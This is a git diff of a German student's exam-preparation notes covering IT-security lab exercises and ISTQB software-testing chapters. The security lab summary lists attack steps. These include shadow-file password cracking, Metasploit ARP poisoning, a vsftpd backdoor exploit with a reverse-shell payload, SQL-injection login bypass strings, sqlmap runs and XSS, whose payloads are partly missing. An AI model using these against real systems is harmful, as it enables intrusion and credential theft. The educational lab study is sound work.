diff --git a/Semester 6/ITSARCH/Klausurvorbereitung.md b/Semester 6/ITSARCH/Klausurvorbereitung.md index bb36fe7..3174feb 100644 --- a/Semester 6/ITSARCH/Klausurvorbereitung.md +++ b/Semester 6/ITSARCH/Klausurvorbereitung.md @@ -6,14 +6,37 @@ - [x] Exploits IDS - [x] IPSEC - [x] SSH + +# Gelesene Skript-Zusammenfassungen +- [ ] Hashfunktionen +- [ ] TLS 4.5 +- [ ] Firewalling +- [ ] IP-Tables +- [x] Exploits IDS +- [ ] IPSEC +- [ ] SSH + # Videos - [x] 3- hashing und signatur -- [ ] 5 - challenge-response +- [x] 5 - challenge-response - [ ] 6 - zertifikat - [ ] 7 - schlüsselhierarchien teil 1 -# Praktika + +# Praktika (Zusammenfassung KI) - [x] 060 Portscans - [x] 010 Passwortsicherheit +- [x] 020 DNS-Angriff +- [x] 080 Mintm Attack +- [x] 030 RADIUS +- [x] 050 Firewall-Pen +- [x] 120 IDS +- [x] 160 Metasploit +- [x] 110 SQL-Angriffe +- [x] 100 XSS-Angriffe +# Praktika (Durgeführt) +- [x] 060 Portscans +- [x] 010 Passwortsicherheit + - Kein Zugriff auf den eigentlichen Rechner, weil der Nutzer nicht im Shadowtable ist... nice - [ ] 020 DNS-Angriff - [ ] 080 Mintm Attack - [ ] 030 RADIUS diff --git a/Semester 6/ITSARCH/Labore/netstat.png b/Semester 6/ITSARCH/Labore/Abbildungen/netstat.png similarity index 100% rename from Semester 6/ITSARCH/Labore/netstat.png rename to Semester 6/ITSARCH/Labore/Abbildungen/netstat.png diff --git a/Semester 6/ITSARCH/Labore/nmap.png b/Semester 6/ITSARCH/Labore/Abbildungen/nmap.png similarity index 100% rename from Semester 6/ITSARCH/Labore/nmap.png rename to Semester 6/ITSARCH/Labore/Abbildungen/nmap.png diff --git a/Semester 6/ITSARCH/Labore/Zusammenfassung.md b/Semester 6/ITSARCH/Labore/Zusammenfassung.md new file mode 100644 index 0000000..06ddf82 --- /dev/null +++ b/Semester 6/ITSARCH/Labore/Zusammenfassung.md @@ -0,0 +1,348 @@ +## 🖥️ **VirtualBox/VM Performance** + +- Schildkröte-Symbol → Hyper-V und WSL unter Windows deaktivieren +- Alternative: VMWare Workstation Pro (kostenloser Account nötig) + +--- + +## 🔌 **Portscans** + +**Was ist ein Port?** + +- Virtuelle Schnittstelle für Verbindungen (0–65535 TCP/UDP, Layer 4) +- Well Known Ports (0–1023): z. B. 22/SSH, 80/HTTP, 443/HTTPS, 53/DNS + +**Portscanner?** + +- Prüft Ports eines Hosts auf „offen“, „geschlossen“, „gefiltert“ +- Tools: `nmap`, `nc`, Bash-Loops mit `/dev/tcp` + +**Portscan-Techniken** + +- `Ping Scan`: ICMP Echo +- `TCP SYN`: halb-offen (kein 3-Way Handshake) +- `TCP Connect`: vollständiger 3-Way Handshake +- `UDP Scan`: leere Pakete +- `Stealth Scan`: FIN, XMAS, Idle Scan (Zombie) + +**Detection & Prevention** + +- Ungewöhnliches Verbindungsverhalten (viele Ports/IP) + +- Tools: Firewalls, IDS, Rate-Limiting, Default-Deny-Prinzip + + +**Befehle** + +```bash +netstat -tulpn +sudo lsof -i -P -n +nmap -p 20-80 172.22.x.x +nc -zv 172.22.x.x 20-80 +``` + +--- + +## 🔑 **Passwortsicherheit** + +**Gute Passwörter** + +- ≥12 Zeichen, Groß/Klein, Ziffern, Sonderzeichen +- Keine Wörterbuchwörter oder persönliche Daten +- Passwort-Manager nutzen, keine Wiederverwendung + +**Cracking-Tools** + +- Online: Hydra, crackstation.net +- Offline: John the Ripper (JtR), Hashcat, ophcrack, Rainbowcrack + +**John the Ripper (JtR)** + +- Hash-Identifikation, Kandidaten-Generierung, Vergleich +- Crack-Modi: Single, Wordlist, Incremental, Mask, Markov, Regex +- Speed-Up: GPU, Threads `--fork=4`, gezielte Wortlisten +- Linux: `sudo unshadow /etc/passwd /etc/shadow > combined.txt` +- Crack: `john --wordlist=rockyou.txt combined.txt --format=crypt --users=root` + +**Rainbow Tables** + +- Vorgefertigte Hash-Ketten, schneller Lookup +- Effektiv gegen unsalted Hashes (z. B. LM/NTLM) + +--- + +## 🕵️‍♂️ **Man-in-the-Middle (MITM) & ARP-Spoofing** + +**Grundidee** + +- Angreifer täuscht Opfer und Gateway falsche MACs vor → Datenverkehr geht durch den Angreifer + +**Tools & Schritte** + +- `arp` → ARP-Cache anzeigen +- Metasploit: + ```bash + use auxiliary/spoof/arp/arp_poisoning + set SHOSTS + set DHOSTS + exploit + ``` +- Ettercap (GUI): Unified sniffing → Targets → Plugins → ARP Poisoning + +**HTTPS MITM** + +- Zertifikatsinjektion (Cain & Abel) +- Nur möglich mit selbstsignierten Zertifikaten oder Downgrade-Attacken + +--- + +## 🌐 **DNS-Angriffe** + +**Methoden** + +- DNS Spoofing / Cache Poisoning +- DNS Hijacking, NXDOMAIN-Attacken +- DNS Tunneling +- DoH/DoT als Gegenmaßnahme + +**Befehle** + +```bash +vim /etc/ettercap/etter.dns +github.com A +``` + +- Ettercap: DNS-Spoof Plugin aktivieren +--- + +## 🔥 **Firewalls** + +**Typen (nach Effizienz)** + +1. Application Gateway (Layer 7) +2. Proxy-Firewall +3. Stateful Inspection (pfSense) +4. Paketfilter-Firewall + +**Befehle** + +```bash +iptables -I INPUT -p tcp --dport 80 -j DROP +iptables -L -v +firewall-cmd --direct --add-rule ipv4 filter OUTPUT 0 -d -j REJECT +``` + +**Ports scannen** + +```bash +nmap -T4 +``` + +--- + +## 👀 **Intrusion Detection Systems (IDS)** + +**Typen** + +- NIDS: Netzwerkbasiert +- HIDS: Hostbasiert +- Hybrid, Anomaly-based, Signature-based + +**Tools** + +- Snort: + ```bash + snort -q -A console -i eth0 -c /etc/snort/snort.conf + ``` +- Regeln: + ```text + alert tcp any any -> 192.168.1.10 80 (msg:"HTTP access detected"; sid:1000001;) + ``` + +--- + +## 📡 **RADIUS** + +**AAA-Prinzip** + +- Authentifizierung: Wer bist du? +- Autorisierung: Was darfst du? +- Accounting: Was hast du gemacht? + +**Protokolle** + +- PAP: Klartext (unsicher) +- CHAP: Challenge-Response (sicherer) +- EAP-TLS: Zertifikatsbasierte Auth (sehr sicher) + +**Konfiguration** + +- Clients: `/etc/raddb/clients.conf` +- Users: `/etc/raddb/users` + +**Test** + +```bash +radtest bob Secret123 1812 secret123 +``` + +--- + +## 🎯 **Metasploit** + +**Phasen Pentest (BSI)** + +1. Vorbereitung +2. Informationsbeschaffung +3. Bewertung +4. Angriff +5. Abschluss + +**Modultypen** + +- Exploit: Schwachstelle ausnutzen +- Payload: Shells, Meterpreter +- Auxiliary: Scans, Fuzzing, DoS +- Post-Exploitation: Nach dem Zugriff Aktionen durchführen + +**Befehle** + +```bash +msfconsole +search vsftpd +use exploit/unix/ftp/vsftpd_234_backdoor +set RHOST +set PAYLOAD linux/x86/shell_reverse_tcp +set LHOST +exploit +``` + + +--- + +## 🗄️ **SQL Injection** + +🔑 **Login-Bypass Beispiel** + +```sql +Email: Admin@1337.org +Passwort: " OR 1=1;# +``` + +➡️ Führt zu Query: + +```sql +SELECT * FROM testumgebung_mysql_db.user +WHERE user_email = "Admin@1337.org" +AND user_password = "" OR 1=1;# +``` + +✅ Da `1=1` immer true → Zugriff auch ohne Passwort + +--- + +🔑 **Weitere Login-Bypass Varianten (Labor)** + +- Mit manipuliertem Benutzernamen: + +```sql +Email: SvenMoller@teleworm.us +Passwort: " OR 1=1;# +``` + +➡️ Erfolgreich eingeloggt als Arand1978 + +- LIMIT 1 für nur einen User: + +```sql +Email: " OR 1=1 LIMIT 1;# +Passwort: ignore +``` + +➡️ Erfolgreich eingeloggt + +--- + +🛠️ **Tool: sqlmap (Labor)** +Analysiere SQLi-Lücken: + +```bash +sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=1" +sqlmap -u "http://172.22.180.102/nie/php/XSS_ProductView.php?clicked=2+AND+2=2" +``` + +--- + +⚠️ **Hinweis (Labor)** + +- `UNION SELECT` NICHT klausurrelevant: + +```sql +XSS_ProductView.php?clicked=1 UNION SELECT 1,'test',3,4,5 +``` + +--- + +## 🪞 **Cross-Site Scripting** + +📌 **Reflexives XSS (Labor)** +Angriff im Suchfeld: + +```html + +``` + +URL-Beispiel: + +``` +http://172.22.180.203/nie/php/XSS_Umgebung.php?suche= +``` + +➡️ Beim Aufruf wird der JS-Code direkt im Browser ausgeführt + +--- + +📌 **Persistentes XSS (Labor)** +Kommentar-Input manipulieren: + +``` +Was ein wünderschönes Stück Baum dies doch ist. +``` + +➡️ Jeder Nutzer, der die Seite lädt, bekommt den Alert + +**Verschleierung (Labor)**: +Kommentartext so gestalten, dass ``| +|Persistentes XSS|Kommentar: ``| +|XSS Tool|`xsser -u -s --threads 5`| diff --git a/Semester 6/ITSARCH/Skript_Notizen/Exploits IDS_IPS.md b/Semester 6/ITSARCH/Skript_Notizen/Exploits IDS_IPS.md index 5ef39b1..5f5f6d5 100644 --- a/Semester 6/ITSARCH/Skript_Notizen/Exploits IDS_IPS.md +++ b/Semester 6/ITSARCH/Skript_Notizen/Exploits IDS_IPS.md @@ -3,9 +3,7 @@ - Ausnutzung einer **Sicherheitslücke** in Software/IT-Systemen - Besteht aus: - **Schadcode / Shellcode** (führt Payload aus) - - **Payload**: z. B. Fernzugriff, Malware, Download weiterer Software - - Oft **spezifisch** für ein bestimmtes Programm/Version ### Lebenszyklus einer Sicherheitslücke 1. Sicherheitslücke existiert (unbekannt) @@ -46,11 +44,12 @@ ### Ziel - Erkennung und ggf. Verhinderung von Angriffen auf IT-Systeme ### Unterscheidung: -|IDS|IPS| -|---|---| -|Erkennung & Alarmierung|Erkennung + aktive Blockierung| -|Passiv|Aktiv| -|Beispiel: **Snort** als IDS|Snort mit Blockier-Funktion| +| IDS | IPS | +| --------------------------- | ------------------------------ | +| Erkennung & Alarmierung | Erkennung + aktive Blockierung | +| Passiv | Aktiv | +| Beispiel: **Snort** als IDS | Snort mit Blockier-Funktion | + --- ## 🧱 IDS-KOMPONENTEN - **Sensor**: erkennt Ereignisse (Datenquelle) @@ -105,7 +104,6 @@ - Preprozessoren - Add-ons - Logging- und Alarmierungsmechanismen - ### Aufbau 1. **Packet Decoder**: liest eingehende Pakete 2. **Preprozessor**: erkennt z. B. Portscans diff --git a/Semester 6/SWTEST/CTFL-Kapitel 0.md b/Semester 6/SWTEST/CTFL-Kapitel 0.md index fd7d3af..4854327 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 0.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 0.md @@ -1,11 +1,8 @@ ## 🎯 ZIELE DER LEHRVERANSTALTUNG - Vermittlung von **Grundlagen im Softwaretesten** - - Verständnis für **Begriffe, Aufgaben, Methoden & Verfahren** - - Vorbereitung auf die **CTFL-Prüfung** (international anerkannt) - --- @@ -14,42 +11,30 @@ ### Beispiele schwerwiegender Softwarefehler: - ❌ Ariane 5: Absturz durch Reuse fehlerhafter Lageregelungssoftware - - ❌ T-Mobile (2009): Netzstörung durch Fehler im HLR - - ❌ Deutsche Bank / BAföG / GM / Roche: Fehler mit realen Konsequenzen - ➡️ Softwarefehler führen zu: - **wirtschaftlichen Schäden** - - **Lebensgefahr (z. B. Medizintechnik, Automotive)** - - **Imageverlust** - --- ## 💥 BEGRIFFE: Fehler, Bug, Defekt - **Fehler (Defect)**: Abweichung vom erwarteten Verhalten - - **Bug**: oft als Synonym genutzt - - **Erster dokumentierter Bug**: Motte im Relay (1947) - --- ## 🧠 TESTBARENGRUNDLAGEN - Vollständiges Austesten ≠ realistisch möglich - - Beispiel 1: 3 Eingabewerte à 16 Bit → 2⁴⁸ Kombinationen → **ca. 90 Jahre** - - Beispiel 2: Schleifen + Verzweigungen → 10¹⁴ Testfälle → **38 Jahre** - ➡️ **Testen ist selektiv & risikobasiert notwendig!** @@ -60,22 +45,15 @@ ### Testziele: - **Funktionalität prüfen**: korrektes Verhalten bei Eingaben - - **Fehlerhafte Eingaben erkennen**: negative Zahlen, zu viele/wenige Werte etc. - - **Grenzwerte testen**: z. B. `0`, `Max_Int` - ### Beispiel-Testfälle: - Gleichseitig: 2,2,2 - - Ungleichseitig: 2,3,4 - - Ungültig: -5, 0, Zeichen, zu viele Werte - - Spezialfälle: Kombinationen nahe Grenzwerten - ➡️ **Testdaten ≠ zufällig**, sondern **gezielt konstruiert** @@ -86,7 +64,6 @@ **Automobilindustrie**: - Komponententest → Integrationstest → Systemtest → Abnahmetest → Stresstest - ➡️ Übertragbar auf Software: **Teststufen & strukturiertes Vorgehen** @@ -95,24 +72,17 @@ ## 💬 FAZIT / MERKSPRÜCHE - **„Testen zeigt die Anwesenheit von Fehlern, nicht ihre Abwesenheit.“** - - **„Ein Test ohne definiertes Ziel ist Zeitverschwendung.“** - - **„Keine Software ist fehlerfrei.“** - - **„Vollständiges Austesten ist meist unmöglich.“** - --- ## 📚 LITERATUR & WEITERFÜHRENDES - Lehrbuch: **Spillner/Linz** – _Basiswissen Softwaretest_ - - Weitere: Beizer, Myers, Liggesmeyer, TMap, ISO 29119 - - Fachzeitschriften & Konferenzen: _GTB_, _EuroSTAR_, _ICST_ - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 1.md b/Semester 6/SWTEST/CTFL-Kapitel 1.md index 4f03603..a65ca35 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 1.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 1.md @@ -5,30 +5,20 @@ ### 1.1 Warum ist Testen notwendig? - Softwarefehler können **Kosten, Sicherheitsprobleme, Rufschädigung** verursachen. - - Gründe für Fehler: - - Missverständnisse, Zeitdruck, komplexe Systeme, neue Technologien. - - **Testen reduziert Risiken**, aber **kann Fehler nicht vollständig beseitigen**. - --- ### 1.2 Was ist Testen? - Testen = **Planung, Vorbereitung, Durchführung & Bewertung** von Softwaretests. - - Ziel: - - Fehler finden - - Vertrauen schaffen - - Konformität mit Anforderungen prüfen - - Grundlage für Qualität liefern - --- @@ -46,9 +36,7 @@ ### 1.4 Testen und Debuggen - **Testen**: Fehler _finden_ - - **Debuggen**: Fehler _analysieren und beheben_ - ➡️ Zwei **komplementäre Aktivitäten** im Lebenszyklus @@ -57,32 +45,21 @@ ### 1.5 Sieben Prinzipien des Testens (💡 Prüfungsrelevant) 1. **Testen zeigt Anwesenheit von Fehlern, nicht deren Abwesenheit** - 2. **Vollständiges Testen ist nicht möglich** - 3. **Frühes Testen spart Zeit und Geld** - 4. **Fehlerhäufung in bestimmten Bereichen (Pareto-Prinzip)** - 5. **Testwiederholungen → Testfälle anpassen (Testfallverfall)** - 6. **Testen ist kontextabhängig (z. B. sicherheitskritisch vs. Webshop)** - 7. **Trugschluss Fehlerfreiheit ≠ Gebrauchstauglichkeit** - --- ### 1.6 Testprozess (Phasenmodell) 1. **Testplanung und -steuerung** - 2. **Testanalyse und -design** - 3. **Testrealisierung und -durchführung** - 4. **Testauswertung und -abschluss** - ➡️ Unterstützt durch **Testüberwachung, Metriken & Dokumentation** @@ -91,16 +68,12 @@ ### 1.7 Psychologie des Testens - Zielkonflikt Entwickler vs. Tester: - - Entwickler: „Software funktioniert!“ - - - Tester: „Software hat Schwächen!“ - + - Tester: „Software hat Schwächen!“ 🧠 Gute Zusammenarbeit & Kommunikation sind entscheidend: - **Objektivität, Kritikfähigkeit, keine Schuldzuweisungen** - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 2.md b/Semester 6/SWTEST/CTFL-Kapitel 2.md index 2f6237f..2840389 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 2.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 2.md @@ -9,18 +9,13 @@ #### a) Sequenzielle Modelle (klassisch, Wasserfall, V-Modell) - **Vorteil**: frühzeitige Planung, klare Phasen - - **Nachteil**: späte Fehlererkennung, wenig flexibel - #### b) Iterative/inkrementelle Modelle (z. B. Agile) - **Testen** = integraler Bestandteil jeder Iteration - - Kontinuierliches Feedback, frühe Tests - - Flexibler, aber aufwändiger - --- @@ -42,52 +37,38 @@ #### Funktionale Tests - Verhalten & Funktionen - - z. B. Geschäftslogik, Benutzerinteraktion - #### Nicht-funktionale Tests - **Leistung**, **Benutzbarkeit**, **Zuverlässigkeit**, **Sicherheit** - - Beispiel: Lasttests, Sicherheitstests - #### Strukturbezogene Tests - Interne Struktur (z. B. Codeabdeckung, Verzweigungspfad) - #### Änderungsbezogene Tests - **Re-Tests**: Prüfen behobener Fehler - - **Regressionstests**: Prüfen unbeabsichtigter Nebeneffekte - --- ### 2.4 Wartungstest - Tests im Produktivsystem nach Änderungen (Fehlerbehebung, Anpassung) - - Besonders wichtig: - - **Regressionstest** - - **Impact-Analyse** - - Testdaten und Testumgebung **aktuell halten** - --- ### 2.5 Teststufen & Testarten kombinieren - Beispiel: Im **Systemtest** können **funktionale Tests** UND **nicht-funktionale Tests** durchgeführt werden. - - Jeder Teststufe können verschiedene **Testziele** zugeordnet werden. - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 3.md b/Semester 6/SWTEST/CTFL-Kapitel 3.md index f624f40..7c9a37d 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 3.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 3.md @@ -5,16 +5,12 @@ ### 3.1 Was ist statisches Testen? - **Statisches Testen** = Analyse **ohne Programmausführung** - - Ziel: **Frühzeitiges Erkennen** von Fehlern und Schwächen - - Ergänzt dynamisches Testen (mit Programmausführung) - **Beispiele:** - Dokumentation, Code, Testfälle, Anforderungen prüfen - --- @@ -32,22 +28,15 @@ #### Ziele: - Automatisierte Prüfung von Quellcode - - **Vermeidung technischer Schulden** - #### Erkennbar durch Tools: - **Syntaxfehler** - - **Nicht initialisierte Variablen** - - **Dead Code / nicht erreichbarer Code** - - **Verletzungen von Codierstandards** - - **Sicherheitslücken (z. B. Buffer Overflow)** - ➡️ **Ergänzung, kein Ersatz für Reviews!** @@ -81,15 +70,10 @@ ### 3.6 Reviewprozess (z. B. Inspektion) 1. **Planung** (Teilnehmer, Artefakt, Reviewziel) - 2. **Kick-off** (Einführung, Zielklärung) - 3. **Einzelprüfung** (Teilnehmer sichten Artefakt individuell) - 4. **Review-Meeting** (gemeinsame Sichtung, Diskussion) - 5. **Nachbearbeitung** (Fehlerbehebung, Follow-up) - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 4-1.md b/Semester 6/SWTEST/CTFL-Kapitel 4-1.md index 2950136..669fed4 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 4-1.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 4-1.md @@ -5,11 +5,8 @@ ### 4.1 Einleitung: Warum Testverfahren? - Systematisches Vorgehen → bessere **Testabdeckung** - - Unterstützung bei der Erstellung **guter Testfälle** - - Ziel: Fehler früh entdecken & reproduzierbar testen - --- @@ -30,37 +27,27 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten. #### a) Äquivalenzklassenbildung - Eingaben in gültige/ungültige **Klassen** einteilen - - **Aus jeder Klasse → 1 Testfall** - #### b) Grenzwertanalyse - Grenzwerte sind **fehleranfällig** - - Testfälle **am Rand** der Äquivalenzklassen - #### c) Entscheidungstabellen - Repräsentieren **Regeln & Bedingungen** - - Kombinationen aus Bedingungen → Aktionen - #### d) Zustandsbasierter Test - Bei **zustandsbehafteten Systemen** (z. B. Automaten) - - Zustände, Übergänge, Events → modellieren & testen - #### e) Use Case Test - **Szenarien aus Benutzersicht** abdecken - - Ziel: reale Nutzungspfade testen - --- @@ -69,14 +56,11 @@ Nutzen **Eingabe-Ausgabe-Beziehung**, ohne Quellcode zu betrachten. Berücksichtigen **interne Struktur** des Systems/Programms #### a) Anweisungsüberdeckung - - Jede Anweisung im Code muss mindestens **einmal ausgeführt** werden - #### b) Zweigüberdeckung - Jeder Entscheidungspunkt (z. B. `if`, `else`) → **jede Richtung** wird getestet - ➡️ Für Entwicklernahe Tests (z. B. Komponententest) @@ -85,24 +69,16 @@ Berücksichtigen **interne Struktur** des Systems/Programms ### 💡 3. ERFAHRUNGSBASIERTE VERFAHREN - Beruhen auf **Intuition, Erfahrung, Bauchgefühl** - - Beispiele: - - **Fehlerbasiertes Testen** - - **Checklisten** - - **Exploratives Testen** - Einsatz besonders: - wenn wenig Dokumentation vorhanden ist - - bei Timeboxing (agile Projekte) - - als Ergänzung zu strukturierten Verfahren - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 4-2.md b/Semester 6/SWTEST/CTFL-Kapitel 4-2.md index 4616f39..95e6c1a 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 4-2.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 4-2.md @@ -5,9 +5,7 @@ ### 🎯 Ziel - Testfälle auf Basis der **Anforderungen/Spezifikation** ableiten - - Fokus: **funktionales Verhalten** (ohne Quellcode) - --- @@ -16,23 +14,16 @@ ### Ziel: - Eingaberaum in **repräsentative Klassen** aufteilen (gültig + ungültig) - ### Vorgehen: 1. Klassen identifizieren (z. B. Wertebereiche) - 2. Gültige & ungültige Klassen bilden - -3. Pro Klasse → 1 Repräsentant - +3. Pro Klasse → 1 Repräsentant **Beispiel: Eingabe 1–10** - - Gültig: 1–10 → z. B. Testwert 5 - - Ungültig: <1, >10 → z. B. Testwert 0 und 11 - --- @@ -41,17 +32,14 @@ ### Ziel: - **Fehler an Grenzen** von Wertebereichen erkennen - ### Vorgehen: - Testfälle an & um die Grenze: `Grenze - 1`, `Grenze`, `Grenze + 1` - **Beispiel: Bereich 1–10** - Testfälle: 0, 1, 2 | 9, 10, 11 - ➡️ Ergänzt Äquivalenzklassen @@ -62,23 +50,17 @@ ### Ziel: - **Regelbasierte Entscheidungen** systematisch testen - ### Bestandteile: - Bedingungen (z. B. "Kunde zahlt bar?") - - Aktionen (z. B. "Rabatt gewähren") - - Tabelle listet alle möglichen **Kombinationen** - ### Vorteile: - Gute Testabdeckung bei **Kombinatorik** - - Auch für Geschäftsregeln & Konfigurationen geeignet - --- @@ -87,25 +69,18 @@ ### Ziel: - Testen von Systemen mit **internen Zuständen** - ### Elemente: - **Zustände** (z. B. „angemeldet“, „abgemeldet“) - - **Ereignisse/Übergänge** (z. B. „Login“, „Logout“) - - **Aktionen** (z. B. „Zugriff erlaubt“) - ### Arten von Tests: - Alle Übergänge - - Alle Zustände - - Ungültige Übergänge - ➡️ Modellierung über **Zustandsdiagramme** sinnvoll @@ -116,23 +91,17 @@ ### Ziel: - **Benutzerverhalten / Interaktionen** mit dem System testen - ### Merkmale: - Abbildung typischer **Szenarien** - - Fokus auf **End-to-End-Abläufe** - - Kann auch **nicht-funktionale Aspekte** einbeziehen - ### Beispiele: - "Benutzer meldet sich an" - - "Benutzer gibt Bestellung auf" - --- diff --git a/Semester 6/SWTEST/CTFL-Kapitel 6.md b/Semester 6/SWTEST/CTFL-Kapitel 6.md index 258c9eb..e7c645a 100644 --- a/Semester 6/SWTEST/CTFL-Kapitel 6.md +++ b/Semester 6/SWTEST/CTFL-Kapitel 6.md @@ -6,12 +6,9 @@ #### Ziele: -- Effizienz steigern - +- Effizienz steigern - Wiederholbarkeit sicherstellen - - Fehler vermeiden - #### Typische Tool-Einsatzbereiche: @@ -32,22 +29,15 @@ #### ✅ Vorteile: - Automatisierung → **Zeitersparnis** - - **Konsistenz & Reproduzierbarkeit** - - **Skalierbarkeit** bei Regressionstests - #### ⚠️ Risiken: - **Einführungsaufwand** hoch - - **Wartung & Pflege** der Tools notwendig - - Gefahr von **Tool-Gläubigkeit** („Tool löst alle Probleme“) - - **Falsche Anwendung** kann schaden - --- @@ -69,26 +59,17 @@ #### Auswahlkriterien: - Projekt- & Teamgröße - - Integration in bestehende Infrastruktur - - Schulungsbedarf - - Support & Lizenzmodell - #### Einführungsprozess: 1. **Bedarf klären** - 2. **Tool evaluieren & auswählen** - 3. **Pilotphase** - 4. **Rollout** - 5. **Wartung & kontinuierliche Verbesserung** - --- @@ -97,18 +78,13 @@ #### Typische Einsatzszenarien: - **Regressionstests** - - **Build-Verifikation (CI/CD)** - - **Performance-Messung** - - **Datengetriebenes Testen** - ➡️ **Automatisierung ≠ universell sinnvoll** - Bei **explorativem Testen**, UX-Tests oder stark ändernden UIs → lieber manuell - --- diff --git a/Semester 6/SWTEST/Klausurvorbereitung.md b/Semester 6/SWTEST/Klausurvorbereitung.md index 5c81a75..118cac9 100644 --- a/Semester 6/SWTEST/Klausurvorbereitung.md +++ b/Semester 6/SWTEST/Klausurvorbereitung.md @@ -8,4 +8,6 @@ - [ ] Kap 5 - [ ] Kap 6 -## Bearbeitung der Aufgaben \ No newline at end of file +## Bearbeitung der Aufgaben + +## Zusammensuchen von Klausuren und Tests \ No newline at end of file diff --git a/Semester 6/SWTEST/Liste Exams.md b/Semester 6/SWTEST/Liste Exams.md new file mode 100644 index 0000000..2fa34a3 --- /dev/null +++ b/Semester 6/SWTEST/Liste Exams.md @@ -0,0 +1,23 @@ +## English + +https://www.istqb.org/wp-content/uploads/2024/11/ISTQB_CTFL_v4.0_Sample-Exam-A-Questions_v1.6.pdf + +https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf + +https://www.gtb.de/wp-content/uploads/2023/11/ISTQB_CTFL40_Sample-Exam-Questions_SET-A_v2.1_engl.pdf + +https://www.processexam.com/files/processexam/download/CTFL-ISTQB-Certified-Tester-Foundation-Level.pdf + +https://astqb.org/assets/documents/ISTQB_CTFL_Sample-Exam-Answers_v4.0.pdf + +https://isqi.org/media/69/47/e5/1734010610/ISTQB_CTFL40_Sample-Exam-Answers_SET-A_v2.1_GTB-edition_engl_EN_.pdf + +https://www.gtb.de/wp-content/uploads/2024/09/ISTQB_CTFL40_Sample-Exam-Questions_SET-E_v1.0_GTB-edition_engl.pdf + +https://isqi.org/media/5d/9d/2c/1734010921/ISTQB_CTFL40_Sample-Exam-Questions_SET-B_v1.3.2_GTB-edition_engl_EN_.pdf +## German +https://isqi.org/media/8a/d4/a5/1713444247/GTB-CTFL-AcT_Sample-Exam-Answers_v2019_DE_.pdf + +https://assets.brightest.org/media/resources/ISTQB_CTFL_2018_Sample_Exam_Questions_German.pdf + +https://swisstestingboard.org/wp-content/uploads/2024/11/GTB-CTFL-FA_2015A_Sample_Exam_Paper_v20_DE.pdf